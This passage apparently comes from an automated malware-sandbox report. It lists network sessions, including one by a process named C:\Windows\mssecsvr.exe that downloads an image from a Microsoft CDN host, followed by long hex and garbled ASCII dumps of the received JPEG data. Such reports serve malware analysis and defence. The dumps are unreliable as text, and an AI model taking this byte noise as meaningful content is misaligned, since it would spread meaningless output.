b4 8d 1a b3 52 9a 76 ed e5 f3 7f 7b 4a ee ed 2d 4f 3c f1 6e b1 f0 ff 00 e2 bf Data Ascii: m_gm9<%Dnm]6B.tGBx,/${+./CKxMZIi7q(l?ZOOOC{k/~Wm~i}dh+i:`5\|-Md;U#WRv{J-O<n
2022-07-20 04:06:50 UTC	4024	IN	Data Raw: e7 31 7d 6f 73 0e b9 e0 5d 07 c7 be 20 b6 fe c8 f0 f6 a0 b6 52 69 71 c8 eb 14 96 a1 f9 be 8a 55 ca c8 ae db 94 95 f9 be 5a fa 93 e3 5e b1 a6 f8 c3 e1 ee 8d ad f8 0e 59 2e f5 2f 15 6a d6 ba 0c 17 91 c8 ef 2a c3 1b 9c c5 1a 38 da e3 20 b7 3d ce 68 a2 ba 23 b4 25 dd af cc ce 30 54 25 3a 91 d5 c6 9c d2 be b6 e4 84 e5 1b 7a 34 9e b7 d9 5f 53 e3 9f 0d eb 9f 10 3c 3f f1 63 55 d2 34 7d 41 b5 0d 57 57 f3 f4 69 ae ef a3 69 fc e8 4f c8 c7 9c 9d c1 47 f0 f3 d4 0a 34 5f d9 cb c5 1f db 57 d6 77 3a 56 b7 03 c1 04 93 b5 cc 7a 6c 89 17 96 32 3c df 9f 6b 08 f7 01 96 c6 3e 94 51 51 29 35 ca fc bf 43 c7 c5 62 aa c7 11 5f 0e 9f bb 19 c7 ef 6f 95 bb f7 b2 4b e4 8f 6b f0 87 c1 eb 0f 83 1a d6 95 aa 24 9f f0 9d 5e df 5a 23 5b 2f 87 75 67 58 a1 76 e0 2c cd 94 55 42 e5 57 ef 71 d7 Data Ascii: 1}os] RiqUZ^Y./j*8 =h#%0T%:z4_S<?cU4}AWWiiOG4_Ww:Vzl2<k>QQ)5Cb_oKk$^Z#[/ugXv,UBWq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	50634	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:50 UTC	1223	OUT	GET /cms/api/am/imageFileData/RWEJpi?ver=1a69 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 04:06:50 UTC	1409	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWEJpi?ver=1a69 Last-Modified: Sun, 17 Jul 2022 12:43:28 GMT X-Source-Length: 373746 X-Datacenter: northeu X-ActivityId: b3abef9b-4349-416c-a106-02251f79346f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 373746 Cache-Control: public, max-age=203828 Expires: Fri, 22 Jul 2022 12:43:58 GMT Date: Wed, 20 Jul 2022 04:06:50 GMT Connection: close
2022-07-20 04:06:50 UTC	1410	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 04:06:50 UTC	1441	IN	Data Raw: a9 c7 2c 46 1f 16 e5 35 27 19 af c6 df 9f e6 7e 9a 2c e2 34 50 3a f5 a8 da e0 9e 4f 15 5a 49 07 98 42 8c 2a f0 33 e8 29 8d 70 a1 b0 06 6b a7 94 4a 77 44 ef 77 b4 70 32 6a 13 34 8f c9 38 06 99 e7 86 6e 05 39 ce e6 00 52 b0 37 71 b2 39 7e 00 a8 58 6d 5e 07 26 86 66 5e f8 a8 cb 93 ce 6b 44 8c db 0c 95 e0 75 ee 69 ac f8 5e 7a 52 79 80 b7 b5 40 f2 92 c7 1d 2b 4b 12 e4 39 a6 cf 00 54 4e db 9b 9a 63 cb 8e b4 cd c7 6f 15 66 77 1e cd 85 e2 a2 63 f2 f3 4f a4 75 f9 78 a0 5a 95 a4 7c b6 2a 23 ca e4 d5 93 18 da 48 e6 a3 92 22 16 ad 32 5a 2b 30 cf 51 51 3a fc be 95 64 af ca 4f a5 44 fe 95 b7 53 29 15 1d 7d 6a 16 00 55 a9 13 0d ef d6 a2 31 e5 b3 5a 19 32 a9 1b a9 8c b5 65 93 b5 46 cb e9 55 72 6c 8a cc bb a9 a4 66 a7 2b de 98 46 2b 42 3a 90 b0 a8 99 72 df 4a 9d 85 46 c3 Data Ascii: ,F5'~,4P:OZIB3)pkJwDwp2j48n9R7q9~Xm^&f^kDui^zRy@+K9TNcofwcOuxZ\|#H"2Z+0QQ:dODS)}jU1Z2eFUrlf+F+B:rJF
2022-07-20 04:06:50 UTC	1457	IN	Data Raw: ca eb 56 8e ba 3f eb fa d0 fa fe 3d 7e d7 c0 ba 64 96 9a ae a1 a1 e9 40 20 8d 45 cd f0 66 55 0d 9e 63 4d c7 3e d9 18 ae 5f 5b fd a4 3c 21 65 23 9f f8 48 e4 bb 72 ee fe 5e 97 a7 7c bf 30 c1 01 a4 6f 4e 9c 57 c8 92 da a0 90 b4 ee bb cf 56 95 f7 1f d2 a3 cc 2a bc 33 1f fa e6 80 7e a6 ba d6 22 4b 48 c4 e6 9e 59 42 8b fd fd 54 be 6b f2 77 67 b6 f8 ef f6 91 83 59 d3 cd 96 84 75 ab 62 c5 43 dc dc 5c ae 4a af 45 08 aa 06 3d f3 9c d5 78 bf 69 7d b6 b1 a4 9e 15 5b cb 81 f7 a7 b8 bf 98 96 38 c6 e2 37 75 23 a9 af 17 2c a7 85 82 59 3e af fe 14 18 e4 3d 2c 18 fd 77 1a 6a b5 5b dd 3f c0 ca 7f d9 b1 82 a6 e5 74 bb 5f f3 b1 e9 da f7 c7 e7 d6 b4 bb 8b 21 e1 3b 3b 61 32 85 f3 56 79 4b 28 07 8c 65 88 ac 0f 0a fc 56 8f c3 1a 9b 5e 4b a3 35 c8 29 b3 cb 5b a7 8f 1c e7 20 83 9c Data Ascii: V?=~d@ EfUcM>_[<!e#Hr^\|0oNWV*3~"KHYBTkwgYubC\JE=xi}[87u#,Y>=,wj[?t_!;;a2VyK(eV^K5)[
2022-07-20 04:06:50 UTC	1459	IN	Data Raw: 0e 49 e6 90 35 02 bd 89 5a 46 6e a6 98 cc 47 14 d2 d4 84 f5 a6 21 77 52 71 de 8c 67 9a 61 3f 2d 00 0d d2 8e 68 da 29 71 8e 28 0b 8c c6 68 db ed 52 6d a5 2b f9 50 32 2f 2e 8a 7e 33 43 2f 63 40 0d e0 af b5 2f 5e b4 aa b4 e1 19 34 00 da 15 4f 5e d5 32 db ed ea 6a 4f 28 52 b8 d2 21 8e 36 91 88 03 34 ff 00 b3 95 ea 38 a9 a2 47 dd f2 8c 9f 6a b2 2d 64 66 f9 d0 8a cd ca c6 d1 8d ca 7f 66 cf 15 72 db 4b 79 17 70 e0 54 b1 22 44 dc 82 f5 76 3b cf 2d 70 14 01 59 4a 52 e8 6d 18 c7 76 4d 6b a6 79 6a 1c be 0f b5 6a a8 08 99 19 2d df 9e 6b 20 6a 0a 17 18 cf a9 35 1b ea 07 77 ca e4 7b 0a e4 94 27 37 a9 d7 19 c6 2b 43 73 cc 8d 94 02 84 1f 5a 8e 43 12 2e 11 cd 61 b5 e4 9b f0 a5 b3 eb 52 23 dc 4e b8 3c 8e f5 1e ca db b2 bd ad f6 45 e9 75 3c 2e d5 f9 be 94 c8 ee 5a 55 20 a1 Data Ascii: I5ZFnG!wRqga?-h)q(hRm+P2/.~3C/c@/^4O^2jO(R!648Gj-dffrKypT"Dv;-pYJRmvMkyjj-k j5w{'7+CsZC.aR#N<Eu<.ZU
2022-07-20 04:06:50 UTC	1650	IN	Data Raw: a6 ee 60 e2 8a 1f 67 c7 6a 16 05 dd 93 52 b0 2d d6 9b e5 8d b8 15 ad fc c8 1d 98 53 f8 09 a8 de e1 47 48 e8 28 4b 63 14 df 28 96 e4 50 a2 ba 89 b7 d0 0d e4 8b d3 02 a2 6b 89 5f ab 93 52 18 7e 5a 5f 24 f7 aa 5c ab a1 3e f3 2b 12 5b a9 26 8d a7 a9 eb 56 3c ae f4 79 43 a6 2a f9 90 b9 59 12 a6 17 3e b5 24 43 1d 29 e2 3f 96 8e 9d 2a 2f 72 87 f4 5a 61 39 a0 9c d3 71 dc d2 e5 19 af 1c 20 74 35 6a 0d f1 b6 56 ac 63 72 f2 80 8f a5 3d 63 43 c8 4c 1f 6a f9 c7 34 cf 5d 42 db 16 2d ae 5b a3 75 f5 ad 7b 2b 96 8d b1 9e 3d 2b 1e 05 1d 6b 52 d5 b0 c0 9e 45 71 d4 b1 d7 4d bb 9b d0 4e 8e 39 c6 e3 f8 0a b2 93 04 5c 02 31 df 35 56 cc 07 6c 14 15 af 6f 67 11 6f 9d 31 5e 7c 9a 47 a1 1d 48 a3 91 4f 20 66 a7 58 56 6e 1b 9f c2 ae c7 a6 ab fd d1 c7 d6 a5 5b 1d 9c f6 ac 1c 91 af 2b Data Ascii: `gjR-SGH(Kc(Pk_R~Z_$\>+[&V<yCY>$C)?/rZa9q t5jVcr=cCLj4]B-[u{+=+kREqMN9\15Vlogo1^\|GHO fXVn[+
2022-07-20 04:06:50 UTC	1697	IN	Data Raw: 8a d6 19 a5 f2 ad 92 50 4a 92 10 67 2d 93 92 48 c0 ac cd 43 e0 8f 8e 34 57 17 ad e1 e9 a0 49 d8 3c 4b 6e 41 33 64 e4 e1 41 ce 30 73 ce 38 a8 fc 15 a7 eb 56 17 52 6a a3 4e 8b ec 10 4d 22 c9 35 bd aa 5d 4f 06 d0 43 37 94 4e 76 8c f5 20 8f ad 6b 87 8d 78 4d c5 a6 93 f2 14 ad 6b 9f 55 fc 35 d0 9f 41 f0 6e 9f 6d 2d e0 bd 66 0d 29 95 76 94 cb 1c 90 a4 70 40 3f ad 75 9b d7 f8 5b 04 57 89 fc 1f d1 7c 6f 73 a5 d9 df 5a f8 93 4d bc d1 a6 76 76 b3 92 22 16 21 bb ee 26 00 28 71 c9 1d 01 e3 15 ed 32 e9 d3 43 21 1c 14 ec d9 e2 be fb 0b 35 3a 51 56 6a cb af e9 a9 e5 4b 9a 2f 4d 41 54 ba e3 3d 6a ed 9d 81 9f ef 48 b1 af a9 aa 8b a7 cc 10 10 c1 f3 cf 5e 9f 5a 6a dc c9 1b 14 df 84 fd 2b a5 ab fc 2c 23 25 16 9c d1 7a 6b 65 81 b0 b2 79 b8 ee 06 29 0d eb 2c 3e 51 8c 10 3a 1e Data Ascii: PJg-HC4WI<KnA3dA0s8VRjNM"5]OC7Nv kxMkU5Anm-f)vp@?u[W\|osZMvv"!&(q2C!5:QVjK/MAT=jH^Zj+,#%zkey),>Q:
2022-07-20 04:06:50 UTC	1745	IN	Data Raw: 9f 28 63 9e 99 a9 e3 b2 0b c8 23 f1 aa fa c4 97 52 56 1d 75 38 b6 d1 25 45 c8 e0 55 47 d3 a4 45 cb 7a f1 5e 84 d6 6b 27 de 1c fb 55 69 34 55 7f ba 01 fa 8a 6b 13 dc 6f 0f 6d 8e 19 34 49 64 f9 86 17 f0 e6 a5 6d 0d d3 83 96 cf 5e 6b b2 1a 43 af 00 0a 57 d2 5f 6e 08 cd 3f ac 13 f5 77 d8 e2 e4 d1 4b 70 06 07 e7 4d 4d 15 b9 c0 e7 15 d7 36 98 cb d4 53 4e 97 27 51 d6 ad 62 3c c8 78 7f 23 89 b9 d3 66 85 b2 13 2a 07 26 a9 30 ed d3 35 e8 69 a7 4d 22 90 00 3e b5 9d a8 78 75 1b e6 68 db 70 ec a3 15 b4 31 2b 69 1c f3 c2 cb 74 70 ed 19 1d 39 3f dd a5 11 48 57 2d 1e 57 de ba 93 0c 16 29 c5 9e 73 fc 44 e4 e6 b2 ef 21 59 59 dc e7 8e c6 ba 63 5a ef 63 95 d0 e5 46 51 fb 3a 11 82 73 dc 01 c5 3b ca 8e 45 e3 af bd 38 d8 95 52 73 51 88 d9 79 1c e3 b5 6b a7 46 61 aa dd 15 64 d3 Data Ascii: (c#RVu8%EUGEz^k'Ui4Ukom4Idm^kCW_n?wKpMM6SN'Qb<x#f*&05iM">xuhp1+itp9?HW-W)sD!YYcZcFQ:s;E8RsQykFad
2022-07-20 04:06:50 UTC	1768	IN	Data Raw: b1 33 03 f3 b3 9e 9b 31 93 d6 bd 33 5b d0 a2 d7 74 9b cd 36 e1 a4 16 f7 71 34 32 18 5b 6b 85 23 07 69 ec 7d 0d 7c 4b f1 eb e0 f7 87 bc 1c 90 dc e9 be 39 5d 56 d3 4d b9 16 73 e8 fa e5 c3 5d 4f 0c e7 ef 6d 23 90 a8 a4 31 5f 5a e3 c4 4d c6 37 46 55 65 38 2b a3 ce 74 0f 19 69 3e 32 d7 ae cf 8c e2 b9 30 04 31 2d d7 86 ec 63 6b 9b a9 cb 6e 21 d4 10 48 72 39 60 33 8a f7 4f 84 3f 14 20 f0 84 3a c7 86 fc 39 f0 9f 52 f0 77 89 f5 08 98 c5 7f 15 ac 97 02 79 47 31 6f 57 e0 26 32 4e 48 00 90 39 cd 78 ff 00 8b 3c 09 f0 ff 00 53 58 b5 2f 09 f8 d6 c2 1f 15 bd a1 ba 63 0c af 6d 0a 95 5c 3a 93 21 2d b9 c0 c8 5c e4 9c fa e2 b0 fc 29 e1 5f 89 3a d7 86 6f f5 5b 23 ae e9 76 e9 61 26 f9 ae 25 94 a6 ab 1b 30 2c 8a 4b 0d ad d3 0a 07 38 ce 7b d7 99 08 ba 56 49 dd f7 d0 f3 e3 39 c6 Data Ascii: 313[t6q42[k#i}\|K9]VMs]Om#1_ZM7FUe8+ti>201-ckn!Hr9`3O? :9RwyG1oW&2NH9x<SX/cm\:!-\)_:o[#va&%0,K8{VI9
2022-07-20 04:06:50 UTC	1800	IN	Data Raw: 32 6a 12 c7 73 78 fd 39 c9 22 17 07 82 a4 90 7d ab 8f 92 b3 9b 51 97 bc ba f9 1c ce 15 2f 6b ea 7d 21 f0 9f c7 77 1e 3e f0 36 9d ad 5c 8b 51 77 70 a7 cd 8a d4 92 a8 d9 c6 08 24 90 7e b5 d8 1b 87 5e 08 c1 fa 57 c2 3e 14 d5 a4 f8 71 e2 57 f0 e5 d7 89 75 8f 0a 58 4e 76 5c 0b 30 93 ed 72 db 4a 10 0e 73 8e 8e 7b 76 af b4 3c 0f 6b a6 9f 0b d9 47 a3 ea 2d aa d8 c4 0c 4b 77 24 86 46 76 1f 78 b3 1e 49 cf 5a f5 b0 f5 95 45 69 6e b7 35 84 a7 2d 3a 9d 0c 77 04 f5 35 7e de 65 6c 02 6b 3d 6c 9c 55 84 b5 65 5e b8 35 b4 f9 5f 53 b2 9f 3f 53 a0 b5 95 36 8e 6b 52 09 57 75 72 b1 2c a1 7f c2 ad db dc 4a ad 83 92 2b 82 74 ef d4 f4 61 53 c8 ea e3 65 3d 2a 65 94 74 02 b1 e0 9f 0a 32 3a 8c d5 98 ee 01 e9 9a e0 94 4e c8 c8 d5 49 76 f4 a8 35 3d 4e 3d 33 4f 9e ea e2 3b 89 20 8d 49 Data Ascii: 2jsx9"}Q/k}!w>6\Qwp$~^W>qWuXNv\0rJs{v<kG-Kw$FvxIZEin5-:w5~elk=lUe^5_S?S6kRWur,J+taSe=*et2:NIv5=N=3O; I
2022-07-20 04:06:50 UTC	2047	IN	Data Raw: d3 7c 43 63 e1 1b c4 3a 87 86 a1 bc d5 d0 32 b5 cd ce e6 87 6a 9c 16 45 ce 38 c6 37 72 3a d7 75 26 97 bc b4 67 24 9d 39 59 a5 ca 64 5b f8 42 db 4c 78 05 e0 96 4b 9b 76 50 f0 8f 97 c9 39 ea d8 ce e0 3d 41 ad e3 a4 6b 33 6a b7 09 11 86 e1 ed a2 69 da e2 2b b5 db e4 e7 e6 2a c4 e5 b8 ea a0 e4 fa 56 ef c4 0f 88 33 fc 4a 92 ca f2 d7 c3 9f f0 8f ce 91 ac 2c 16 35 8a 05 8f fb c8 bb 54 0c f5 c0 04 fb d7 9d 2d e5 97 db ee ad af 44 88 80 79 68 7e e9 0c 0f de 38 e9 c7 ad 44 f9 9c dd dd ce 6a a9 73 fb ae eb ee 2f db 6b f6 3a 16 a9 1c b3 de 4b 61 08 91 a6 86 e2 d2 32 5f cc 55 c4 7f 28 61 8c b6 32 c4 e4 7b f4 ad cf 0a 59 3d e6 9f 67 7f 2e bb 73 2d e5 cd c3 89 1a 1b 12 e2 09 0e 59 15 5d 8e 1c b7 70 06 46 7b d7 0b 0d 9c 37 7e 28 b0 b7 9c 99 f4 e5 b8 8c 5c b4 58 0b e5 ef Data Ascii: \|Cc:2jE87r:u&g$9Yd[BLxKvP9=Ak3ji+*V3J,5T-Dyh~8Djs/k:Ka2_U(a2{Y=g.s-Y]pF{7~(\X
2022-07-20 04:06:50 UTC	2119	IN	Data Raw: 14 1c 7e 35 d8 ae e7 aa dc ed a7 7e 75 e6 7d dd 62 c7 67 cd d7 b7 ad 69 5a 2f 9b 36 09 e8 3f 5a ab 61 6b 94 c9 ec 7f fd 55 a7 64 04 4d 21 23 93 c5 75 d9 1e fa 93 d8 d3 b7 80 08 c9 27 27 02 a3 f9 95 5c 80 4f 51 9c d4 c2 4c 46 48 ce 0e 00 fc 29 86 46 11 80 4e 73 57 1d c9 91 4f ca 69 23 c9 42 3b 82 3d 6a aa b4 90 b4 a1 f3 b4 23 13 ea 6b 50 c9 98 f0 7a f4 aa 37 38 56 2a 49 f9 85 6c 8c 99 99 b4 49 6e 06 31 8c fe 35 53 3b b2 07 00 13 d7 bd 69 08 c4 6a 57 bf 3d fa 55 29 00 4c fe 35 d3 13 8a 64 39 cb 73 55 ae 14 ed 1f ce ad c8 80 a0 c7 cb 8a af 26 42 83 d7 8a e8 39 e4 55 93 21 b0 47 5a 8b 7f af 71 cd 59 94 83 f5 aa af 95 7c 8e fc 56 a8 e7 92 1c 70 70 47 00 53 4e 36 be 3a d1 ef eb 51 c8 82 44 24 75 18 ad 0c 24 32 57 0a a7 27 14 d8 56 d2 e9 43 36 a7 6d 03 1e 0c 44 Data Ascii: ~5~u}bgiZ/6?ZakUdM!#u''\OQLFH)FNsWOi#B;=j#kPz78V*IlIn15S;ijW=U)L5d9sU&B9U!GZqY\|VppGSN6:QD$u$2W'VC6mD
2022-07-20 04:06:50 UTC	2183	IN	Data Raw: 7f f5 ea bc ba b5 cc ce ee a3 9c 7c bc 9f c6 b7 56 39 65 e4 6a 98 42 67 9e 7b e2 ab 3c 4a 8d bf 68 cf 4c 8f ad 64 b6 a1 7a 92 60 ab 82 7b 1c 8a 45 bb bc 65 0c c0 90 0f 3c 7b d6 ea 48 e6 69 9a f2 cc a1 b0 18 62 99 e7 95 c1 04 11 c7 e1 59 77 ba a3 94 c9 48 d1 bb e7 8f e7 59 c3 c4 66 e2 e1 a2 f2 1a 2d a3 3e 61 19 53 f8 8a de 3a ea 61 3d 0e 9a 67 c6 08 e0 d4 5e 61 e7 38 cf 53 59 50 ea db db 62 8d e4 77 cf 06 ae 44 e6 6f 98 8c 76 3d ab 54 ce 72 d2 cc 4e cc 77 a6 c9 20 de 10 f5 23 3f 91 a8 c3 65 79 ea 38 cd 47 2c 98 78 d5 8e 1f 3b 73 57 70 b1 e1 7f 13 74 68 6e ed b5 98 c8 8d e5 43 2a c2 cd d7 3e 9f ad 78 67 81 97 5d f0 26 ab 67 aa d9 c5 67 2d ed ac c6 44 8e e2 4d d1 95 28 54 e7 18 f5 e2 be dc ba d4 35 46 98 c7 0d bd a8 82 31 b7 6c 8a a5 9f dd 89 53 f8 55 67 17 Data Ascii: \|V9ejBg{<JhLdz`{Ee<{HibYwHYf->aS:a=g^a8SYPbwDov=TrNw #?ey8G,x;sWpthnC*>xg]&gg-DM(T5F1lSUg
2022-07-20 04:06:50 UTC	2262	IN	Data Raw: 3c 55 a8 6b 11 19 ae b5 06 96 e4 bb 47 6e b1 b0 55 44 f5 2c 78 27 3d 38 cd 6b 1d 7a 99 ce db 58 a1 aa f8 bb c4 36 16 c8 8c 2e c3 37 fa a8 7c 91 92 0f 40 bc 70 3e 95 d5 f8 33 c2 3e 2e f1 16 97 e7 3d fc 3a 42 b9 0c c6 65 12 39 07 a6 40 fb a3 eb f9 57 9d 8f 1c 6b 02 51 a7 90 d3 cf 19 22 39 0b 36 39 e7 00 e7 80 69 c7 c5 77 f3 43 2c f7 3e 73 bc 9f 23 5b c5 3b 2c 79 1f 4c 1a a9 47 4b 26 61 19 ab dd eb f3 3a 0b fd 42 c7 c3 3f 11 ae 2c 6f e5 86 48 c2 aa 4d 73 14 6a 73 20 1c 95 da 70 54 fe 75 ad e2 0b 1d 06 ea dd f5 6b 2b 66 b3 47 c2 bc 70 e3 90 78 c0 19 24 9e e6 bc 83 51 4b 26 78 ce 1a ca 51 f3 00 cd bd 4b 7a 1e 98 ae eb c2 7a e5 be a7 e1 f9 20 79 d5 ee 2d d4 e7 6a 9c b1 3f 74 2a 9f d5 ab 0a b4 d3 8a 97 54 6d 42 ab e6 70 7b 32 09 f5 6d 37 4b cc 52 23 5c 40 14 82 Data Ascii: <UkGnUD,x'=8kzX6.7\|@p>3>.=:Be9@WkQ"969iwC,>s#[;,yLGK&a:B?,oHMsjs pTuk+fGpx$QK&xQKzz y-j?t*TmBp{2m7KR#\@
2022-07-20 04:06:50 UTC	2373	IN	Data Raw: 1c ac 57 37 91 42 f5 90 7f bd d2 91 a3 85 d3 93 19 cf b5 71 b7 3f 14 fc 3b a7 be c9 f5 78 56 43 c8 5d ca 78 ac 1d 63 e3 ee 81 a7 c2 24 b3 37 1a c3 ee 2a 63 b5 55 1b 4f 62 cc 70 30 7f 1a 2c f7 1f 32 3d 1e 7d 2a c2 e3 1e 65 bd b4 a7 d0 ae 7f 9d 34 f8 3b 4b ba e4 d8 5b 90 7a e2 3d a7 f4 af 23 87 f6 9a d3 1f 3e 76 8d 79 10 19 1b 96 64 71 9e dc 0e 4d 3e 2f da 42 f5 97 75 b6 87 e6 20 27 9d cd 92 bd b0 48 e0 fb 55 2b f4 64 f3 23 d5 3f e1 59 68 f3 e7 31 14 f4 e4 e3 8f 63 44 7f 0a ad 2d dc 49 6d 2e d3 e8 c3 8a f2 c4 fd a4 b5 c8 e4 12 0d 02 df c9 6e 04 72 33 07 2d d7 19 24 76 ad 19 ff 00 69 8d 46 34 cd b6 8d 60 cc 57 21 e5 95 b0 a7 d1 b9 ea 3f c9 a5 cd 25 d4 b5 ca fa 1d f6 a9 f0 c1 35 3b 78 ed ee 2c a1 9e 28 c6 57 12 b2 b1 23 a6 48 e7 15 cf ff 00 c2 83 b1 64 00 da Data Ascii: W7Bq?;xVC]xc$7cUObp0,2=}e4;K[z=#>vydqM>/Bu 'HU+d#?Yh1cD-Im.nr3-$viF4`W!?%5;x,(W#Hd
2022-07-20 04:06:50 UTC	2413	IN	Data Raw: 8e eb 2c 46 4d a3 77 9b 1b 38 e3 b8 ce 71 f8 52 8d 39 ad 24 93 5d 77 33 e6 d7 41 47 81 ec 9a de 24 61 a3 c7 68 8a c4 7e f4 82 a0 f2 7e 5c 82 41 a9 d3 c0 da 74 f6 c8 89 7b a6 98 42 00 b1 47 70 c1 46 7e 61 c0 39 fc ea 38 21 b0 32 b9 12 5a 5c a9 39 25 ad 5b 05 87 4e 48 20 63 f2 a7 05 9d de 56 8a 3b 58 de 4c 7f a9 50 18 8e 99 1c 01 f9 73 5a 3a 71 97 d9 5f 70 ac 8a 53 f8 0a 0b 67 2d e6 46 19 ce 5b ec b7 0e dc 7f df 5c 52 3f 87 ad 8b 21 41 2f 98 80 01 89 98 67 d8 e4 f3 5b 4a 8b 0b 11 72 04 f7 58 f9 1a 59 36 ee 1e a4 0e 77 7b 13 d2 a4 89 77 21 f3 67 57 72 09 55 8d 76 a8 03 b0 3c 92 6a 69 3a 37 b4 12 ba fc 18 72 76 66 0f f6 6d be e7 f3 ad ee 9e 11 90 cb 1d d3 47 d7 dc 1e bf 5e 95 16 a1 e0 9d 06 fe 0d b1 69 77 71 b8 5d 9f 68 96 eb 73 fa f5 e7 76 7d eb 5f 75 ac 8c Data Ascii: ,FMw8qR9$]w3AG$ah~~\At{BGpF~a98!2Z\9%[NH cV;XLPsZ:q_pSg-F[\R?!A/g[JrXY6w{w!gWrUv<ji:7rvfmG^iwq]hsv}_u
2022-07-20 04:06:50 UTC	2508	IN	Data Raw: fb 49 ec 33 c3 0e c7 15 52 e9 2d ed 96 2d 29 af 1a 4b 57 6f 31 98 c0 ab 21 c8 e5 f8 24 a8 1e f8 35 de ea 28 c5 cf 9b 44 67 2d ed 24 75 b0 f8 a3 c3 10 49 3c 96 e9 6a 1d 63 2b 0d cc 92 34 68 c0 7d e0 40 c9 20 f6 ef 59 51 6a b0 c9 6d 6f 39 f0 35 d3 d8 be e2 97 d1 01 f6 77 39 ed 95 39 c7 b9 15 c9 ea 56 1a 35 9d bb af da 24 b9 31 10 d1 44 17 96 3e ac 47 5f 60 71 5d 31 f8 8d 7f 77 e1 33 a2 19 6e ac 95 62 31 c4 ed 2e 10 e7 f8 55 00 38 24 77 27 8a ce 9e 23 db c1 4e 1a a3 25 c9 2e a4 3a 96 8d a2 df de 15 b6 b2 6b 2b ce 1c cd 10 50 a7 23 a2 e3 07 70 ee 31 55 07 c1 4b 6d 4a 4e 2f 1a 70 4e f7 f2 af 70 c0 1f ef 2b e3 04 7a 57 3b 1f 99 76 e8 e6 56 94 17 f9 cd cc 7b 4a 71 82 00 38 3d 7f 88 1a bd a7 de c7 ab 5e 3f 99 e6 5c 45 0b 81 2f da 24 6d ca ab d7 68 04 16 07 d3 9a Data Ascii: I3R--)KWo1!$5(Dg-$uI<jc+4h}@ YQjmo95w99V5$1D>G_`q]1w3nb1.U8$w'#N%.:k+P#p1UKmJN/pNp+zW;vV{Jq8=^?\E/$mh
2022-07-20 04:06:50 UTC	2588	IN	Data Raw: ac c0 f3 9a 89 d1 8f 20 d3 8b 67 8c f1 51 32 fc dc 2f 3e d5 a5 88 b9 13 e7 ad 42 c0 9e 4d 49 86 1c d0 1b 03 24 63 d6 b4 e5 0e 62 bf 1d 43 b0 fa 03 40 93 d6 43 8a 9f 78 2b f2 8e 68 da c7 aa 02 68 b3 0e 62 01 36 de f9 fa d2 f9 c0 f5 e3 e9 53 98 48 5c 84 14 86 22 58 12 33 f4 34 82 e8 87 cd 1b ba e4 7a f4 a7 f9 a0 ae 41 07 e8 69 e6 db 8c 8e 3e b8 a8 5a 01 d4 70 69 58 bb 83 48 85 b9 71 48 5d 3b 9c d4 4d 08 6e b8 a8 1a 17 ed d2 8b 0b 98 b0 4c 6f d1 c8 a8 db 03 3f 30 3e d5 06 c9 3b 81 8a 0a 90 bd 0d 3e 52 79 87 36 0f 3d 05 46 cc a7 de 9a 51 8f 42 71 4c 31 3f 73 9a 69 58 9b a6 2b 32 7f 72 98 c8 a7 db f0 a4 3b 87 5a 43 21 1c 7f 4a a2 1d 86 b2 01 d0 9f ca a1 90 81 d7 35 23 7c dc e4 d4 2e 83 76 70 6a 92 25 bd 34 22 69 19 7a 0c d3 1a 49 0f 6c 54 a5 3b e0 d4 2c ca 3f Data Ascii: gQ2/>BMI$cbC@Cx+hhb6SH\"X34zAi>ZpiXHqH];MnLo?0>;>Ry6=FQBqL1?siX+2r;ZC!J5#\|.vpj%4"izIlT;,?
2022-07-20 04:06:50 UTC	2651	IN	Data Raw: 8a 7a ca 18 64 b8 00 f6 c5 35 e1 79 39 2c a0 8e ff 00 fd 6a 6f 96 fb 71 f2 93 f4 a2 c5 6e 4e a8 31 90 ca 01 39 fa d3 84 05 5b 71 e6 ab 08 e5 5f f9 67 9f 4a 04 b2 6e c6 c6 18 f6 a2 c4 fc cb 4c d9 eb 8c fe 14 d6 97 6a 9c 9d b9 a6 23 36 dc b0 03 fd ea 52 a8 e4 64 f3 ec 69 00 1f 2c f0 30 4f 5c d3 1a 21 2b 67 7e 05 4a a8 57 ee e0 7b d1 24 a0 0c 60 0f 73 d2 80 bb e8 45 b1 62 c6 1b f0 cd 4e bc ae 73 f9 e2 a3 10 46 e3 24 07 3f a5 30 c7 b5 b8 4e 07 a5 4d 90 f7 26 0d 8e 54 f3 53 21 dc 32 c0 1a a4 98 55 38 53 f8 d4 ab 31 5e 0f 03 b5 2e 52 5c 4b 89 13 75 11 e7 35 6a 1b 55 71 ca 15 27 af 4f e7 54 6d e6 3d 72 4f b7 35 60 4f b9 f3 91 9f 73 9a 5a 9c d3 52 d8 b5 25 bf 97 f7 0b 83 eb 82 7f 91 a5 b6 79 62 62 58 bf 3d 39 20 e6 ab 79 c5 9f 68 9f 83 ea 29 eb 65 29 6f dd c8 64 Data Ascii: 